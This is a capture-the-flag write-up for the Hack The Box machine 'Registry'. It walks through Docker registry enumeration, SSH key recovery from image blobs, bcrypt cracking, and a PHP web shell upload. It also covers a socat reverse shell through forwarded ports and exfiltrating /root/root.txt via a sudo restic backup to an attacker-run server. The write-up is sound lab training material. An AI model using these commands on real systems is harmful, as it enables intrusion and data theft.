Registry - 10.10.10.184

Difficulty score: 5.7

Write-up by Michele Campobasso @alpha_centauri3

USER

Reconnaissance

NMAP

We start from a scan with Nmap with service enumeration and default scripts with SYN connects:

root@pentestbox:~# nmap -sV -sS -sC -A -p- 10.10.10.159
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-21 09:42 EST
Nmap scan report for 10.10.10.159
Host is up (0.012s latency).
Not shown: 65531 closed ports
PORT     STATE SERVICE  VERSION
22/tcp   open  ssh      OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 72:d4:8d:da:ff:9b:94:2a:ee:55:0c:04:30:71:88:93 (RSA)
|   256 c7:40:d0:0e:e4:97:4a:4f:f9:fb:b2:0b:33:99:48:6d (ECDSA)
|_  256 78:34:80:14:a1:3d:56:12:b4:0a:98:1f:e6:b4:e8:93 (ED25519)
80/tcp   open  http     nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Welcome to nginx!
443/tcp  open  ssl/http nginx 1.14.0 (Ubuntu)
|_http-server-header: nginx/1.14.0 (Ubuntu)
|_http-title: Welcome to nginx!
| ssl-cert: Subject: commonName=docker.registry.htb
| Not valid before: 2019-05-06T21:14:35
|_Not valid after:  2029-05-03T21:14:35
4444/tcp open  krb524?
No exact OS matches for host (If you know what OS is running on it, see https://nmap.org/submit/ ).
TCP/IP fingerprint:
OS:SCAN(V=7.80%E=4%D=2/21%OT=22%CT=1%CU=36788%PV=Y%DS=2%DC=T%G=Y%TM=5E4FEC8
OS:3%P=x86_64-pc-linux-gnu)SEQ(SP=104%GCD=1%ISR=10B%TI=Z%CI=Z%II=I%TS=A)OPS
OS:(O1=M54DST11NW7%O2=M54DST11NW7%O3=M54DNNT11NW7%O4=M54DST11NW7%O5=M54DST1
OS:1NW7%O6=M54DST11)WIN(W1=7120%W2=7120%W3=7120%W4=7120%W5=7120%W6=7120)ECN
OS:(R=Y%DF=Y%T=40%W=7210%O=M54DNNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A=S+%F=A
OS:S%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0%Q=)T5(R
OS:=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F
OS:=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R=Y%DF=N%
OS:T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N%T=40%CD
OS:=S)

Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE (using port 3389/tcp)
HOP RTT      ADDRESS
1   11.17 ms 10.10.14.1
2   11.26 ms 10.10.10.159

We see that there’s an nginx server serving ports 80 and 443. Opening them through the browser shows blank pages. So, we run gobuster against registry.htb and docker.registry.htb:

root@pentestbox:~# gobuster dir -u https://registry.htb/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -k 
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            https://registry.htb/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/04/13 04:35:26 Starting gobuster
===============================================================
/install (Status: 301)
/bolt (Status: 301)

We open /install and we get a bunch of gibberish. So let’s analyze this file:

root@pentestbox:~# wget http://registry.htb/install
root@pentestbox:~# file install
install: gzip compressed data, last modified: Mon Jul 29 23:38:20 2019, from Unix, original size modulo 2^32 167772200 gzip compressed data, reserved method, has CRC, was "", from FAT filesystem (MS-DOS, OS/2, NT), original size modulo 2^32 167772200
root@pentestbox:~# zcat install
ca.crt0000775000004100000410000000210613464123607012215 0ustar  www-datawww-data-----BEGIN CERTIFICATE-----
MIIC/DCCAeSgAwIBAgIJAIFtFmFVTwEtMA0GCSqGSIb3DQEBCwUAMBMxETAPBgNV
BAMMCFJlZ2lzdHJ5MB4XDTE5MDUwNjIxMTQzNVoXDTI5MDUwMzIxMTQzNVowEzER
MA8GA1UEAwwIUmVnaXN0cnkwggEiMA0GCSqGSIb3DQEBAQUAA4IBDwAwggEKAoIB
AQCw9BmNspBdfyc4Mt+teUfAVhepjje0/JE0db9Iqmk1DpjjWfrACum1onvabI/5
T5ryXgWb9kS8C6gzslFfPhr7tTmpCilaLPAJzHTDhK+HQCMoAhDzKXikE2dSpsJ5
zZKaJbmtS6f3qLjjJzMPqyMdt/i4kn2rp0ZPd+58pIk8Ez8C8pB1tO7j3+QAe9wc
r6vx1PYvwOYW7eg7TEfQmmQt/orFs7o6uZ1MrnbEKbZ6+bsPXLDt46EvHmBDdUn1
zGTzI3Y2UMpO7RXEN06s6tH4ufpaxlppgOnR2hSvwSXrWyVh2DVG1ZZu+lLt4eHI
qFJvJr5k/xd0N+B+v2HrCOhfAgMBAAGjUzBRMB0GA1UdDgQWBBTpKeRSEzvTkuWX
8/wn9z3DPYAQ9zAfBgNVHSMEGDAWgBTpKeRSEzvTkuWX8/wn9z3DPYAQ9zAPBgNV
HRMBAf8EBTADAQH/MA0GCSqGSIb3DQEBCwUAA4IBAQABLgN9x0QNM+hgJIHvTEN3
LAoh4Dm2X5qYe/ZntCKW+ppBrXLmkOm16kjJx6wMIvUNOKqw2H5VsHpTjBSZfnEJ
UmuPHWhvCFzhGZJjKE+An1V4oAiBeQeEkE4I8nKJsfKJ0iFOzjZObBtY2xGkMz6N
7JVeEp9vdmuj7/PMkctD62mxkMAwnLiJejtba2+9xFKMOe/asRAjfQeLPsLNMdrr
CUxTiXEECxFPGnbzHdbtHaHqCirEB7wt+Zhh3wYFVcN83b7n7jzKy34DNkQdIxt9
QMPjq1S5SqXJqzop4OnthgWlwggSe/6z8ZTuDjdNIpx0tF77arh2rUOIXKIerx5B
-----END CERTIFICATE-----
readme.md0000775000004100000410000000020113472260460012667 0ustar  www-datawww-data# Private Docker Registry

- https://docs.docker.com/registry/deploying/
- https://docs.docker.com/engine/security/certificates/

So it looks like a certificate for a Docker Registry. It is needed to add a private repository to the local instance of Docker to download images. Meanwhile, on the other gobuster session, we see:

 root@pentestbox:~# gobuster dir -u https://docker.registry.htb/ -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt -k
===============================================================
Gobuster v3.0.1
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@_FireFart_)
===============================================================
[+] Url:            https://docker.registry.htb/
[+] Threads:        10
[+] Wordlist:       /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt
[+] Status codes:   200,204,301,302,307,401,403
[+] User Agent:     gobuster/3.0.1
[+] Timeout:        10s
===============================================================
2020/04/13 04:32:57 Starting gobuster
===============================================================
/v2 (Status: 301)

The /v2 tells us that this is a Docker Registry. We could explore this in two ways, one using the Docker CLI and the other using the HTTP server. We’ll go for the second one because is easier and doesn’t require any configuration.

Exploring Docker’s registry server

As we land on https://docker.registry.htb/v2/, we’re required for some credentials. We attempt admin:admin and we are successful. Googling on how to abuse Docker Registry Servers, I found an interesting article

Following the article, we first obtain the name of the available repositories, by getting https://docker.registry.htb/v2/_catalog:

{"repositories":["bolt-image"]}

Then, we identify the tags for this repository via https://docker.registry.htb/v2/bolt-image/tags/list:

{"name":"bolt-image","tags":["latest"]}

Given the tagname, we can gather details of this endpoint through https://docker.registry.htb/v2/bolt-image/manifests/latest:

We got a list of blobs, which we’re going to download calling the API accordingly:

https://docker.registry.htb/v2/bolt-image/blobs/sha256:<BLOB_HASH_HERE>

After downloading each of them, we can explore them.

Exploring blobs

Blobs are tar.gz files, so we can put them an extension and open them. In blob sha256:2931a8b44e495489fdbe2bccd7232e99b182034206067a364553841a1f06f791 I’ve found an RSA private key in /root/.ssh/.

I try to ssh in the box but the key is password protected. I keep exploring and I find that in blob sha256:302bfcb3f10c386a25a58913917257bd2fe772127e36645192fa35e4c6b3c66b there’s a script that shows a password for an RSA key, which is GkOcz221Ftb3ugog. We could try using it:

root@pentestbox:~# ssh 10.10.10.159 -i id_rsa
Enter passphrase for key 'id_rsa': 
Connection closed by 10.10.10.159 port 22

Apparently, the password is correct, but we get kicked out from the ssh server. To work through that, we do some guessing, given the information we got until now. “bolt-image” lets think that we’re going to login into a container, so it might be worth to try bolt as username:

root@pentestbox:~# ssh 10.10.10.159 -i id_rsa
Enter passphrase for key 'id_rsa': 
Welcome to Ubuntu 18.04.3 LTS (GNU/Linux 4.15.0-65-generic x86_64)

  System information as of Mon Apr 13 02:57:58 UTC 2020

  System load:  0.0               Users logged in:                0
  Usage of /:   5.7% of 61.80GB   IP address for eth0:            10.10.10.159
  Memory usage: 29%               IP address for docker0:         172.17.0.1
  Swap usage:   0%                IP address for br-1bad9bd75d17: 172.18.0.1
  Processes:    154
Last login: Mon Oct 21 10:31:48 2019 from 10.10.14.2
bolt@bolt:~$ ls -la user.txt 
-r-------- 1 bolt bolt 33 Sep 26  2019 user.txt

ROOT

Not too fast…

During the investigation on the host with common enumerations like [LinPEAS]() and LSE(), we found a possible trace for escalation, /var/www/html/bolt/app/database/bolt.db. This SQLLite 3 DB may contain interesting information. So I copied it in local and used DB Browser for SQLLite to view through it. In table bolt_users, I find:

1	admi	$2y$10$hcuhBWxp7Ypk8Wx.LUpEguihXr60tiDeh46v3cSy7wvKnQSq/Kre2	thek27@gmail.com	2019-05-29 11:02:18	192.168.50.1	Admin	[]	1

So, I try to crack this password with hashcat:

root@pentestbox:~# hashcat -a 0 -m 3200 hash.hash /usr/share/wordlists/rockyou.txt --force        
hashcat (v5.1.0) starting...

$2y$10$e.ChUytg9SrL7AsboF2bX.wWKQ1LkS5Fi3/Z0yYD86.P5E9cpY7PK:strawberry

Ok, the path says us that we should give a look into /bolt. Inside of it, we didn’t found anything interesting besides an empty website. Then running gobuster again, leads us to another /bolt subdirectory. This has finally a login page and we can use such credentials there:

We login successfully.

Privilege… revocation?

I might be interested in getting a shell as www-data, so let’s see if we’re allowed to upload any file. We definitely can under File Management > Uploaded Files. But there’s a catch, we can’t upload files with php extension. In the settings, we can edit the config.yaml file and allow us to upload a php file. We sadly discover that this change is reverted quite quickly, so we have to be fast.

We upload PHPBash to get command execution and try to spawn a proper shell. Nonetheless, doesn’t seem to be working because there’s a firewall, so we need to forward some ports via SSH:

root@pentestbox:~# ssh -i id_rsa -R 9119:localhost:9119 bolt@10.10.10.159
root@pentestbox:~# ssh -i id_rsa -R 9112:localhost:9112 bolt@10.10.10.159

We upload socat with scp:

root@pentestbox:~# scp -i id_rsa socat bolt@docker.registry.htb:/tmp/socat

Make it executable:

bolt@bolt:~$ chmod +x /tmp/socat 

and we run:

www-data@bolt:/var/www/html/bolt/files# /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:localhost:9119
root@pentestbox:~# socat file:`tty`,raw,echo=0 tcp-listen:9119
www-data@bolt:~/html/bolt/files$ 

Enumeration

After having had punchs with shells, now we can run some enumeration. Running

www-data@bolt:~/html/bolt/files$ sudo -l 

Shows us that:

www-data@bolt:~/html/bolt$ sudo -l
Matching Defaults entries for www-data on bolt:
    env_reset, exempt_group=sudo, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on bolt:
    (root) NOPASSWD: /usr/bin/restic backup -r rest*

Restic is a tool for doing backups into a remote repository supported by rsync. So, we can backup anything we want to a repository that we’ll create on our box. To achieve this, we need to forward again a port:

root@pentestbox:~# ssh -i id_rsa -R 9120:127.0.0.1:9120 bolt@10.10.10.159

In addition, we have to create our restic repository:

root@pentestbox:~# restic init --repo /tmp/restic-repo                                   
enter password for new repository: 
enter password again: 
created restic repository 3de2e332e9 at /tmp/restic-repo

Via rclone, we serve it:

root@pentestbox:~# rclone serve restic -v /tmp/restic-repo --addr 127.0.0.1:9120

On target then:

www-data@bolt:/tmp/repo$ sudo /usr/bin/restic backup -r rest:http://127.0.0.1:9120/ /root/root.txt
enter password for repository: 
password is correct
found 2 old cache directories in /var/www/.cache/restic, pass --cleanup-cache to remove them
scan [/root/root.txt]
scanned 0 directories, 1 files in 0:00
[0:00] 100.00%  33B / 33B  1 / 1 items  0 errors  ETA 0:00 
duration: 0:00
snapshot c990645b saved

On pentestbox we can restore this snapshot to read the file:

root@pentestbox:~# restic -r /tmp/restic-repo restore c990645b --target /tmp/restore-work
enter password for repository: 
repository 3de2e332 opened successfully, password is correct
restoring <Snapshot c990645b of [/root/root.txt] at 2020-02-22 23:38:30.382464914 +0000 UTC by root@bolt> to /tmp/restore-work
root@pentestbox:~# ls -la /tmp/restore-work/root.txt 
total 12
drwxrwxr-x 2 root root 4096 Sep 27  2019 .
drwxrwxr-x 4 root root 4096 Oct 21 08:56 ..
-rw-rw-r-- 1 root root   33 Sep 27  2019 root.txt

And we rooted Registry!

Thank you for reading this write-up. Feedback is appreciated! Happy hacking :)